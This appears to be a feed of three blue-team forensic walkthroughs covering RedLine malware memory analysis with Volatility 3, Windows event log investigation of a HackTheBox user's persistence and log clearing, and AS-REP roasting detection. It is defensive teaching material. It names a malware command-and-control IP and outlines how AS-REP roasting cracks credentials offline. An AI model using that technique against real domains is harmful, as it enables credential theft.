windows.pslist.PsList Lists the processes present in a particular windows memory image.

Let’s give it a try:

vol3 -f MemoryDump.mem windows.pslist

Once the output loads, we can start examining the process list. Depending on your experience with Windows internals, some entries might look unfamiliar. If you’re unsure which processes are normal or benign, a solid reference is the SANS Hunt Evil cheat sheet, which helps you quickly zero in on anomalous activity.

Hunt Evil _Knowing what’s normal on a Windows host helps cut through the noise to quickly locate potential malware. Use the…_www.sans.org

Back to the results: a few entries stand out as unusual, including Outline.exe, tun2socks.exe, and oneetx.exe. Of these, oneetx.exe (PID 5896) draws the most attention because of its unusually high thread count compared to the other odd ones.

Volatility 3: Identifying a suspicious process with windows.pslist

So, let’s take a quick detour to Google and dig into this binary name. Our search quickly leads us to an excellent post from Stormshield titled " # "

RedLine malware: from a Chrome extension to a large-scale malware campaign.” It associates oneetx.exe with the RedLine malware family, which also happens to be the name of this challenge. A pretty clear indicator that we’ve found our suspicious process.

Question 2: What is the child process name of the suspicious process?

Now that we’ve identified the suspicious process and its associated process ID (PID), we can refine our search to uncover any child processes spawned by oneetx.exe (PID 5896). To do that, we look for processes with a parent process ID (PPID) of 5896. A simple way to approach this is to run Volatility‘s windows.pslist module again, but this time pipe the output through grep to display only entries containing 5896.

vol3 -f MemoryDump.mem windows.pslist | grep 5896

Volatility 3: Using windows.pslist and grep to isolate parent and child processes

Using grep helps us isolate both the parent process and its child. In this case, we discover that rundll32.exe appears as a child process because its PPID matches the PID of oneetx.exe. With that connection established, we now have an additional process earmarked as we move deeper into this challenge.

Question 3: What is the memory protection applied to the suspicious process memory region?

Next up, we need to figure out what memory protection is applied to the memory region used by oneetx.exe. That might sound a little intimidating at first, but we can lean on another Volatility 3 module to handle the heavy lifting for us: malfind.

windows.malfind.Malfind Lists process memory ranges that potentially contain injected code.

Command Reference Mal _An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an…_github.com

The malfind module helps identify “hidden or injected code/DLLs in user-mode memory”, which makes it especially useful when we’re dealing with malware. For this challenge, all we need to do is specify the PID of oneetx.exe (5896):

vol3 -f MemoryDump.mem windows.malfind –pid 5896

Volatility 3: Identifying memory protection using windows.malfind

Once the output loads, look for the VadS Protection field. This tag displays the memory protection applied to the suspicious region, and it often reveals suspicious execution permissions like PAGE_EXECUTE_READWRITE.

Question 4: What is the name of the process responsible for the VPN connection?

Our next task is to search for a process that’s responsible for a VPN connection. Let’s head back into Volatility‘s windows.pslist output and look for anything that hints at tunneling or proxying behavior indicating VPN usage.

Volatility 3: Identifying a potential tunneling process

While reviewing the process list, you might remember that back in Question 1 we stumbled across a few unusual entries. One of them immediately stood out as something that might support a tunneled connection: tun2socks.exe.

To dig a little deeper, it helps to check out the project’s GitHub page, which describes tun2socks as a tool built on the gVisor TCP/IP stack. Its listed features include universal proxying and support for multiple protocols such as HTTP, SOCKS, Shadowsocks, and SSH. Putting this all together strongly suggests it’s involved with a VPN connection, which lines up with what we’re hunting for.

GitHub - xjasonlyu/tun2socks: tun2socks - powered by gVisor TCP/IP stack _tun2socks - powered by gVisor TCP/IP stack. Contribute to xjasonlyu/tun2socks development by creating an account on…_github.com

Now that we know tun2socks.exe looks promising, let’s determine which process launched it. We already have its parent process ID (PPID 6724), so we can use grep again to quickly determine the related parent process:

vol3 -f MemoryDump.mem windows.pslist | grep “6724”

Ah-ha! By matching the PPID, we discover that Outline.exe is the parent process. This suggests that Outline.exe is the process responsible for the VPN connection, with tun2socks.exe acting as the tunneling component. With a quick Google search, we can confirm that Outline VPN is indeed legitimate software used to create VPN servers. I think we’ve gotten our answer, folks.

Question 5: What is the attacker’s IP address?

All right, now that we know Outline.exe is responsible for handling the VPN connection, it’s time to shift our focus to the network artifacts captured in the memory dump. The goal is to determine whether any of the executables we’ve identified so far show evidence of external communication, starting with oneetx.exe, the malicious process we tracked down in Question 1.

To do this, we can use Volatility‘s windows.netscan module, which scans the memory image for network objects such as TCP connections. Once again, we’ll pair this with grep to dial-in on entries tied to oneetx.exe.

windows.netscan.NetScan Scans for network objects present in a particular windows memory image.

Here’s the combined command:

vol3 -f MemoryDump.mem windows.netscan | grep “oneetx.exe”

Bingo! The output reveals an external IP address associated with this process. Our next step is enrichment, so let’s pivot to threat intelligence and search for the IP in VirusTotal:

https://www.virustotal.com/gui/ip-address/77.91.124.20

Right away, we can see that this IP address is linked to activity associated with RedLine malware, confirming that we’ve identified the attacker’s IP address.

Question 6: What is the full URL of the PHP file that the attacker visited?

Well, we already have the attacker’s IP address, so why don’t we take this a step further and see if we can uncover any URL activity connected to it? One quick way to do this is to run a simple strings search against the memory dump. Since memory images often contain human-readable fragments of URLs, commands, and other artifacts, this might reveal some new information.

From the terminal, we can use the strings utility and pipe the results through grep to isolate only the results that contain the attacker’s IP address:

strings MemoryDump.mem | grep “77.91.124.20”

Using strings & grep to identify URLs

From the output, we’ll notice several interesting artifacts, including a full URL that points to index.php. That’s exactly what we need to answer this question!

Question 7: What is the full path of the malicious executable?

Our last objective is to determine the full file path of the malicious oneetx.exe executable on disk. We can approach this question the same way we handled the previous one: by running a strings search against the memory dump. This time, instead of looking for an IP address, we’ll use strings and pipe the results through two grep filters. One looks for the name of the malicious binary (oneetx.exe) and the other searches for the drive label C: since we know we’re working with a Windows system.

strings MemoryDump.mem | grep “oneetx.exe” | grep C:

Using strings to identify the malware file path

Nice. The output gives us a clean file path for the oneetx.exe binary, and it points to the AppData\Local\Temp directory. This location often shows up during malware investigations, since it’s a common staging area that attackers abuse for downloading, unpacking, or executing payloads. Now that we’ve double-grepped our way through the last question and solved the full set, it’s time to wrap up this investigation.

Conclusion:

How fun was that! A big thank you to CyberDefenders for another awesome challenge.

This one was another fantastic addition to their catalog, with a tight focus on volatile memory analysis and a beginner-friendly opportunity to get comfortable with the Volatility modules that help uncover meaningful artifacts. Piece by piece, we worked through the investigation, identified and researched a suspicious process, enriched it with threat intelligence, and built a clear picture of the attacker’s command-and-control activity and the malware involved.

I picked this week’s challenge because I wanted to brush up on Volatility. It’s not a tool I use every single day, but it’s always worth staying sharp and adding a few new tricks to your notebook. You never know when you’ll need them. And honestly, there’s something really rewarding about reconstructing an attack from a single forensic artifact. It’s a great reminder of just how powerful memory analysis can be when it comes to uncovering malicious behavior. Fun times!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful: please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/redline/

REMnux: https://remnux.org/

Volatility Foundation: https://volatilityfoundation.org/

GitHub — Volatility 3: https://github.com/volatilityfoundation/volatility3

SANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil

Stormshield — " # “RedLine malware: from a Chrome extension to a large-scale malware campaign”: https://www.stormshield.com/news/malware-redline-chrome-extension-large-scale-malware-campaign/

Volatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/command-reference

Volatility Command Reference Mal: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal

GitHub — Tun2Socks: https://github.com/xjasonlyu/tun2socks

VirusTotal — C2 IP: https://www.virustotal.com/gui/ip-address/77.91.124.20

HackTheBox — LogJammer Sherlock Walkthrough

Mon, 09 Feb 2026 00:00:00 +0000

HackTheBox — LogJammer Sherlock Walkthrough

Windows Event Log Forensics: Investigating Persistence, Malware, and Log Tampering with Event Log Explorer & FLARE‑VM.

Image Credit: https://app.hackthebox.com/sherlocks/LogJammer

Introduction:

Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the LogJammer Sherlock challenge from Hack The Box, you’re in the right place.

This is the seventh challenge in the Intro to Blue Team track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — Meerkat:

HackTheBox | Meerkat | Sherlock Walkthrough

Challenge Scenario:

You have been presented with the opportunity to work as a junior DFIR consultant for a big consultancy. However, they have provided a technical assessment for you to complete. The consultancy Forela-Security would like to gauge your Windows Event Log Analysis knowledge. We believe the Cyberjunkie user logged in to his computer and may have taken malicious actions. Please analyze the given event logs and report back.

This challenge is all about Windows Event Log Analysis and leans heavily on choosing the correct log, filtering for specific event IDs, and weaving together activity across multiple logs. It’s up to us to meet the moment and show off our event log analysis skills. Don’t worry if you’re new to this topic — I’ll link plenty of helpful resources that you can use in your own investigations.

But having great references is only half the battle. We also need solid tools. For this walkthrough, we’ll rely primarily on Event Log Explorer, a tool that makes filtering, pivoting, and correlating events far faster than using the built‑in Windows Event Viewer. It’s a huge timesaver when you’re staring down thousands of log entries.

So, whether you’re new to Windows endpoint forensics or you just want to sharpen your analysis skills, this is a fantastic challenge to tackle. Let’s go!

And, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — please consider following me to get more content like this.

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: When did the cyberjunkie user first successfully log into his computer? (UTC)

Now that we’ve gotten our analysis environment all set up, let’s kick off this investigation by extracting the challenge file and taking a look at the available artifacts.

Overview of the challenge artifacts

We have five Event Logs available in this challenge, each providing different insights:

Powershell‑Operational.evtx: This event log contains “details about PowerShell operations, such as starting and stopping the engine and providers, and executing PowerShell commands.”
Security.evtx: This event log contains “logs related to logins, privileges, and other similar events.”
System.evtx: This event log contains “logs created by the operating system.”
Windows Defender‑Operational.evtx: This event log contains logs related to Microsoft Defender Antivirus operational and malware‑related events.
Windows Firewall‑Firewall.evtx: This event log contains events related to the Windows Firewall with Advanced Security, including rule additions, modifications, and deletions.

Now that we understand what we’re working with, we can identify the correct log to answer Question 1. Since we’re searching for a sign‑in event, we’ll work directly in the Security log and filter for Event ID 4624 (“An account was successfully logged on”).

You can absolutely use the built‑in Windows Event Viewer, but there’s a more efficient option: Event Log Explorer. Because Event Log Explorer is already installed in the Flare‑VM analysis environment, that’s what I’ll be using in this walkthrough. I encourage you to try it if you aren’t familiar with it — the filtering features save a surprising amount of time.

Steps in Event Log Explorer

Open Event Log Explorer and load Security.evtx.
Click the Filter button and enter 4624 into the Event ID field.
To narrow this down further, use Description params → select “New Logon\Account Name” → operator: contains → value: cyberjunkie.
This returns only the successful logons for this user. Sort by time and double‑click the earliest entry.

Event Log Explorer: Filtering for 4624 events

With the targeted filter in place, we can stumble straight into the events we need without digging through thousands of unrelated entries. Since we’re searching for the first successful login, open the earliest one. From here, there’s one more thing we need: the UTC timestamp.

Double-click to open the event.
Select the XML tab.
Expand the System node.
Look for the TimeCreated > SystemTime attribute.

The SystemTime value is always stored in UTC and is the timestamp you’ll need for the answer.

Event Log Explorer: Identifying the logon time in UTC

Now that we’ve successfully identified the cyberjunkie’s first successful logon, we can move on to the next question.

Questions 2 & 3:

The user tampered with firewall settings on the system. Analyze the firewall event logs to find out the Name of the firewall rule added?

Whats the direction of the firewall rule?

Next up, we need to figure out what firewall rule cyberjunkie tampered with. For this step, open the Windows Firewall‑Firewall.evtx artifact in Event Log Explorer. Just like before, there’s plenty of noise in this log, but we can cut through it by focusing on events that occurred after the first cyberjunkie sign‑in on 3/27/2023 at 10:37:09 AM.

Filtering by time quickly helps us identify the events we care about. Near the top of the log, we’ll find an Event ID 2004, which indicates that a rule has been added to the Windows Defender Firewall exception rules.

Event Log Explorer: Finding a suspicious firewall exception rule

Opening this event gives us everything we need. The rule name includes the name of a well‑known penetration testing tool: Metasploit. Since this is a challenge scenario, that kind of red-flag naming is intentional and makes the rule easy to spot.

Inside the same event, you’ll also find the Direction attribute, which has a value of 2. In Windows Firewall terminology, that value represents an outbound rule. Finally, we can correlate the ModifyingUser SID to confirm that cyberjunkie is indeed the account responsible for adding it.

Now that we’ve extracted both the rule name and its direction, we’re ready to move on to the next part of the investigation.

Question 4: The user changed audit policy of the computer. Whats the Subcategory of this changed policy?

Our next task is to identify a change to the computer’s audit policy and determine the subcategory that was modified. This is an event I’m not familiar with off‑hand, so this is a good time to pivot and do a little research.

One of my favorite quick‑reference resources for security event IDs is the Ultimate Windows Security Windows Security Log Events Encyclopedia. A simple search for “audit policy” points us toward Event ID 4719, which corresponds to “System audit policy was changed.”

Windows Security Log Event ID 4719 - System audit policy was changed _4719: System audit policy was changed On this page This computer’s system level audit policy was modified - either via…_www.ultimatewindowssecurity.com

Now that we’ve identified the correct event, we can return to Security.evtx in Event Log Explorer and apply a filter for Event ID 4719. This gives us a single event, which makes our job nice and straightforward. We just need to grab the Subcategory value from the event details to answer the question.

Once we extract that field, we’ll have everything we need for Question 4.

Event Log Explorer: Identifying the subcategory in Event ID 4719

Questions 5, 6, & 7:

The user “cyberjunkie” created a scheduled task. Whats the name of this task?

Whats the full path of the file which was scheduled for the task?

What are the arguments of the command?

Moving right along, Questions 5, 6, and 7 focus on identifying a scheduled task created by cyberjunkie. This is important because scheduled tasks are a classic persistence technique. An attacker can schedule recurring execution of scripts or binaries to maintain access long after their initial intrusion. This technique maps directly to MITRE ATT&CK Scheduled Task/Job: Scheduled Task (T1053.005).

To investigate this, we’ll turn again to the Ultimate Windows Security Windows Security Log Events Encyclopedia. A quick lookup shows that scheduled task creation is logged as Event ID 4698, which corresponds to “A scheduled task was created.”

Windows Security Log Event ID 4698 - A scheduled task was created _4698: A scheduled task was created On this page The user indicated in Subject: just created a new scheduled task (Start…_www.ultimatewindowssecurity.com

With that information in hand, we return to Security.evtx in Event Log Explorer and adjust our filter to Event ID 4698. Just like in the previous questions, this gives us a single event to review, making the analysis easy.

Event Log Explorer: Analyzing the scheduled task

Reviewing the event description reveals everything we need to answer all three questions:

The name of the scheduled task
The full path to the PowerShell script (Automation-HTB.ps1)
The command‑line arguments used when the task was created

Once we extract those details, we’ve successfully solved Questions 5, 6, and 7 — and we’re ready to stumble into the next part of the investigation.

Questions 8, 9, & 10:

The antivirus running on the system identified a threat and performed actions on it. Which tool was identified as malware by antivirus?

Whats the full path of the malware which raised the alert?

What action was taken by the antivirus?

Questions 8, 9, and 10 all focus on malware detection activity on the compromised device. To answer them, we’ll work with the Windows Defender‑Operational.evtx artifact, which contains logs related to Microsoft Defender Antivirus operational and malware‑related events.

Load this artifact into Event Log Explorer. For this investigation, we’ll filter for Event IDs 1116 and 1117. According to Microsoft Learn, these correspond to:

1116 — MALWAREPROTECTION_STATE_MALWARE_DETECTED
1117 — MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN

Even though this log contains a lot of noise, we can narrow things down again by focusing only on events that occurred after the first cyberjunkie login. Doing this drops us down to only four events: two detections (1116) and two actions (1117).

Event Log Explorer: Defender events after the threat actor sign-in

Looking at the 1116 events, we see that Microsoft Defender detected two components of SharpHound (SharpHound.ps1 and SharpHound.exe). SharpHound is the ingestor module for BloodHound, a well‑known Active Directory reconnaissance tool frequently used by red teams and attackers. Both files were bundled together in a single .zip archive, and the detection explicitly references that tool — which answers Question 8.

Event Log Explorer: Identifying SharpHound activity through the Windows Defender Logs

To answer Questions 9 and 10, we can check either of the 1117 events. These entries provide:

The full path where the malware files were located
The action taken by the antivirus engine

With this information, we can fully resolve all three questions!

Question 11: The user used Powershell to execute commands. What command was executed by the user?

We’re nearing the end of this investigation, but we still have a few artifacts left to analyze. This time, we’ll pivot to the Powershell‑Operational.evtx log. As before, load the log into Event Log Explorer so we can filter the entries and focus only on events from the date of the attack.

In the filter options, select the date checkbox and set both the From and To values to 3/27/2023.

Event Log Explorer: Filtering the PowerShell log for the date of the attack

Because this device has PowerShell script block logging enabled, we can home in on Event ID 4104 to collect insights into what commands were executed. Event ID 4104 records script block content, which often includes some handy forensic data like the full command line used in a PowerShell session. Check it out:

Event Log Explorer: Identifying the Script Block Contents

The second event gives us the full command. In this case, cyberjunkie executed a PowerShell command to determine the MD5 hash of the Automation-HTB.ps1 script we identified back in Question 6. It’s not the most exciting example of an attacker command, but it’s still a great demonstration of how much forensic insight script block logging can provide.

Question 12: We suspect the user deleted some event logs. Which Event log file was cleared?

And finally, we’ve made it to the end of our investigation. To answer Question 12, we’re looking for signs that the attacker attempted to cover their tracks by deleting event logs. Tampering with logs is a classic indicator removal technique and maps directly to MITRE ATT&CK — Clear Windows Event Logs (T1070.001).

There are two locations we need to check. The first is the Security.evtx log. Here, we can filter for Event ID 1102, which corresponds to “The audit log was cleared.”

Windows Security Log Event ID 1102 - The audit log was cleared _1102: The audit log was cleared On this page Event 1102 is logged whenever the Security log is cleared, REGARDLESS of…_www.ultimatewindowssecurity.com

Event Log Explorer: Event ID 1102

While this confirms that the Security log was indeed cleared, this isn’t the answer we’re looking for. The question asks which Event Log file was cleared, and 1102 only tells us the Security log was wiped, but the challenge data suggests additional tampering.

That brings us to the artifact we haven’t touched yet: the System.evtx log.

Load System.evtx into Event Log Explorer and filter for Event ID 104, which corresponds to “[Other log file cleared](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection#appendix-e--- annotated-baseline-subscription-event-query).” This event is generated when any log except the Security log is cleared.

Event Log Explorer: Identifying the cleared log file with Event ID 104

Bingo. The top event from the day of the attack shows exactly what we need. Event ID 104 reveals that the attacker cleared the Microsoft-Windows-Windows Firewall with Advanced Security/Firewall log.

With this final piece of the puzzle, we’ve wrapped up the investigation and uncovered an attempt by cyberjunkie to cover his tracks by wiping the event logs. Nice work!

Conclusion:

How fun was that! A big thank you to Hack The Box for another fantastic challenge.

This challenge was another awesome entry in the Intro to Blue Team track with a tight focus on Windows Event Log Analysis, correlating activity across multiple logs, filtering specific event IDs, and piecing together the cyberjunkie user’s actions step‑by‑step.

As we moved through the investigation, we followed the attacker’s trail across authentication events, firewall tampering, audit policy changes, scheduled task creation, malware detections, script block execution, and even attempts at covering their tracks through log clearing. Each question built naturally into the next, creating a clear and logical narrative that mirrors real‑world DFIR work. It was a great reminder of how much visibility Windows logs provide — if we know where to look.

I chose this week’s challenge to brush up on some Event IDs I don’t use every day, add a few new ones to my notebook (which I’ve added in the quick reference below), and sharpen my workflow using Event Log Explorer. It’s always a cool experience to piece together an attack using only a handful of logging artifacts. It just goes to show how powerful proper log analysis can be when it comes to uncovering malicious activity. Great stuff!

Until next week’s challenge — stay curious and be safe out there!

Quick Reference: Event IDs we covered

4624 — Successful logon (Security.evtx). Use New Logon\Account Name in Event Log Explorer to pinpoint the user
2004 — Windows Defender Firewall rule added (Windows Firewall‑Firewall.evtx). Includes rule name, direction, and modifying user SID
4719 — System audit policy changed (Security.evtx). Look for Subcategory and related GUIDs
4698 — Scheduled task created (Security.evtx). Task XML reveals <Command> and <Arguments>
1116 — Malware detected (Windows Defender‑Operational.evtx). Threat name and often the container path
1117 — Malware action taken (Windows Defender‑Operational.evtx). Action such as Quarantined, Removed, or Blocked
4104 — PowerShell Script Block Logging (Powershell‑Operational.evtx). Captures script block contents and the full command line
1102 — Security log cleared (Security.evtx). Indicates the audit log was wiped
104 — Other Windows log cleared (System.evtx). Specifies the exact channel, e.g., Microsoft‑Windows‑Windows Firewall with Advanced Security/Firewall

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/LogJammer

Flare-VM: https://github.com/mandiant/flare-vm

Ultimate IT Security — Windows Security Log Events: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx

Microsoft Learn — about_Logging_Windows: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.5

Microsoft Tech Community — Windows Events, how to collect them in Sentinel and which way is preferred to detect Incidents: https://techcommunity.microsoft.com/blog/fasttrackforazureblog/windows-events-how-to-collect-them-in-sentinel-and-which-way-is-preferred-to-det/3997342

Microsoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus: https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus

Microsoft Learn — Configure Windows Firewall logging: https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/configure-logging?tabs=intune

Microsoft Learn — 4624(S): An account was successfully logged on: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

MITRE ATT&CK — Scheduled Task/Job: Scheduled Task (T1053.005): Scheduled Task/Job: Scheduled Task, Sub-technique T1053.005 — Enterprise | MITRE ATT&CK®

MITRE ATT&CK — Software — BloodHound (S0521): https://attack.mitre.org/software/S0521/

MITRE ATT&CK — Indicator Removal: Clear Windows Event Logs (T1070.001): https://attack.mitre.org/techniques/T1070/001/

Microsoft Learn — Use Windows Event Forwarding to help with intrusion detection: https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection

LetsDefend — AS-REP Challenge Walkthrough

Mon, 02 Feb 2026 00:00:00 +0000

LetsDefend — AS-REP Challenge Walkthrough

Investigating Domain Controller Logs and Endpoint Artifacts Using Event Log Explorer and PECmd.

Image Credit: https://app.letsdefend.io/challenge/as-rep-challenge

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the AS-REP challenge from LetsDefend, you’re in the right place.

This challenge pairs nicely with two others in the series, and there’s some overlap in approach. If you like this topic, check out:

LetsDefend - LDAP Enumeration Challenge Walkthrough

LetsDefend - Golden Ticket Challenge Walkthrough

Challenge Scenario:

A network security team received alerts from a Domain Controller (DC) indicating that a user was making unusual requests for Kerberos tickets, which is not typical for their role. Given that this behavior aligns with potential reconnaissance or lateral movement within the network, the security team escalated the issue to a senior investigator. The investigator has been tasked with analyzing the provided DC and workstation logs to trace the attacker’s movements, determine the source of the anomaly, and understand how the attacker gained access and what actions they might have taken inside the network.

For this challenge, we’re putting on our incident response hats. We’ve got suspicious Kerberos ticket requests, alerts from the responding DC, and a set of artifacts from the user’s workstation. It’s up to us to shed light on what happened and why.

From the DC’s Windows Security Event Log, we’ll use Event Log Explorer to filter and correlate the attacker’s authentication activity. The goal is to determine what technique was used and confirm whether AS-REP roasting is in play. Once we’ve wrapped the DC review, we’ll pivot to workstation artifacts, including the client security event logs and Windows Prefetch files, to fully map out the attack.

If this is all new to you, don’t worry. By the end, you’ll have a solid understanding and repeatable approach for spotting Active Directory attacks like AS-REP roasting using just a domain controller’s security log — and then expanding the picture with endpoint artifacts. Time to go hunting for a needle in the haystack of logs — let’s go!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

AS-REP Primer:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what an AS-REP attack is in the context of a domain controller. This will help us contextualize the investigation as we move through it.

In an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Microsoft has clear visuals in its Learn documentation for how that exchange works:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

The AS-REQ and AS-REP are the first steps in the Kerberos authentication process. AS-REP roasting becomes possible when an account has Kerberos pre-authentication disabled. With pre-authentication enabled, the user’s AS-REQ includes a timestamp encrypted with their password hash. The domain controller must decrypt that timestamp before it will issue an AS-REP containing a TGT.

When an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. This tactic is what’s called an AS-REP Roasting attack, which MITRE ATT&CK classifies under Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004).

MITRE describes it like this:

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

Not good! But understanding this flow is exactly what we need as we move into the investigation.

MITRE also provides helpful detection guidance. It recommends monitoring for patterns such as:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).

In other words, by combining these telemetry points and applying them to our investigation, we can quickly spot AS-REP roasting activity and scope the attack. Let’s give it a shot!

Questions 1€“5:

While reviewing the logs, Janice identified suspicious Kerberos ticket requests, potentially indicating an AS-REP attack. What is the exact time this attack occurred?

What user account did the attacker target during this Kerberos attack?

What is the SID associated with the targeted user account?

What encryption algorithm was used in this Kerberos ticket request?

What is the IP and port number that was used to request the ticket?

Now that we’ve gotten a grasp of the theory behind an AS-REP attack, let’s put it into practice and jump into the challenge. After extracting the contents of AS-REP.7z, you’ll see two folders: Corrado, which contains the compromised workstation artifacts, and DC, which contains the domain controller logs.

Overview of the challenge artifacts

Since we’re investigating an AS-REP attack, we’ll need to focus on TGT ticket requests (Event ID [4768](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)), which are only available on a domain controller. The first artifact we need to examine is the DC’s Security.evtx log. You can open it with Windows Event Viewer, or you can use Event Log Explorer, a third-party utility that significantly speeds up log analysis. Because Event Log Explorer is already included in the LetsDefend analysis environment, that’s what I’ll be using in this walkthrough.

Once you have the log open in Event Log Explorer, press the filter button in the top toolbar. In the filter window, search for Ticket Granting Ticket request events (Event ID 4768) where PreAuthType = 0. This applies what we learned directly from the MITRE ATT&CK detection strategy, reduces the log noise, and highlights requests for accounts where pre-authentication is disabled.

Event Log Explorer: Filtering TGT requests without pre-authentication

With the filtered results in front of us, the next step is to find the event matching the third parameter of the MITRE detection rule: a Ticket Encryption Type associated with a weak legacy algorithm such as RC4 (0x17). Scanning through the events, you’ll notice one entry that stands out because its Ticket Encryption Type field differs from the others.

Event Log Explorer: Identifying a request using weaker encryption

Now that we’ve identified this event, we have all the information needed to answer the first five questions:

When the attack occurred (remember to convert your answer to UTC!)
Which user account was targeted
The Security ID (SID) associated with that account
The encryption algorithm used in the Kerberos request
The IP address and port number the attacker used to request the ticket

Question 6: The attacker managed to crack the hash and used it to log into the compromised machine. When was their first logon attempt?

Now that we’ve identified the suspicious AS-REP in the domain controller logs, it’s time to pivot to our second artifact: the Security.evtx file from Corrado’s workstation. This log will help us spot the attacker’s first login attempt after cracking the hash obtained through the initial AS-REP Roasting activity.

Load the workstation’s Security.evtx file in Event Log Explorer. This time, filter for successful logons (Event ID [4624](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624)) on the device. To make the search more efficient, adjust the time window to only include events that happened after the suspicious AS-REP request. In this challenge, that means everything after 10/5/2024 2:42:44 PM and through the end of the day (10/5/2024 11:59:00 PM).

Since we already identified a source IP address in Question 5 associated with the AS-REP activity, we can add that address as a custom field in the filter. This dramatically reduces our noise floor and helps us zero in on the attacker’s follow-up actions.

Event Log Explorer: Filtering successful logon events from the suspicious source IP

Let’s start by looking at the earliest matching result. Even though the filter is showing only logins from the source IP we associated with the AS-REP traffic, there are several red flags in the event details that suggest malicious activity. These include:

A Logon Type of 3, meaning a Network logon requested over SMB, WinRM, or another remote protocol
An Account Name of ANONYMOUS LOGON
A Logon GUID of {00000000-0000-0000-0000-000000000000}, which is expected for anonymous or unauthenticated network connections

These characteristics strongly suggest that this is the attacker’s first attempt to access the machine using the cracked credential.

Event Log Explorer: First suspicious network logon tied to the attacker’s source IP

Questions 7 & 8:

Once inside, the attacker began exploring the system. What was the first command they executed?

When did the attacker execute this command exactly?

Our next task is to figure out the first command the attacker ran once they gained access to Corrado’s workstation. To do that, we’ll pivot away from the event logs and turn to a third forensic artifact: Windows Prefetch files. You can find them in the following directory:

C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch

Rather than reinvent the wheel on describing these artifacts, I’ll pull from Magnet Forensics, who explain it much better than me:

Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.

So, the idea is that if we can parse these files, we can identify which executable the attacker launched first. As-is, though, the files aren’t meant to be read directly, so we need a way to convert them into something usable…

The contents of the prefetch folder

.\PECmd.exe -d “C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch" –csv C:\Users\LetsDefend\Desktop\ChallengeFile\ –csvf investigation.csv

Once the CSV is generated, open it with another Zimmerman tool, Timeline Explorer, which lets us sort and filter the parsed data.

Inside Timeline Explorer, filter on the Last Run column so we can start building a timeline. From the earlier questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we’ll focus on entries right after that time. With the rows sorted, look at the Executable Name column and we’ll see the first commands run by the attacker.

Timeline Explorer: Identifying the first command the attacker used to explore the system

Now, Question 7 is slightly open to interpretation. It mentions that “the attacker began exploring the system,“so we can reasonably assume it’s asking for the first discovery-related command. In this dataset, that command is whoami.exe. This aligns with MITRE ATT&CK T1033 (System Owner/User Discovery) and is a common early step for attackers who want to confirm what account they compromised and what privileges they have.

The great thing is that now that we’ve identified the command, we can also answer Question 8 by pulling the exact timestamp from the Last Run column in Timeline Explorer. That gives us the precise moment the attacker executed whoami.exe.

Conclusion:

How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.

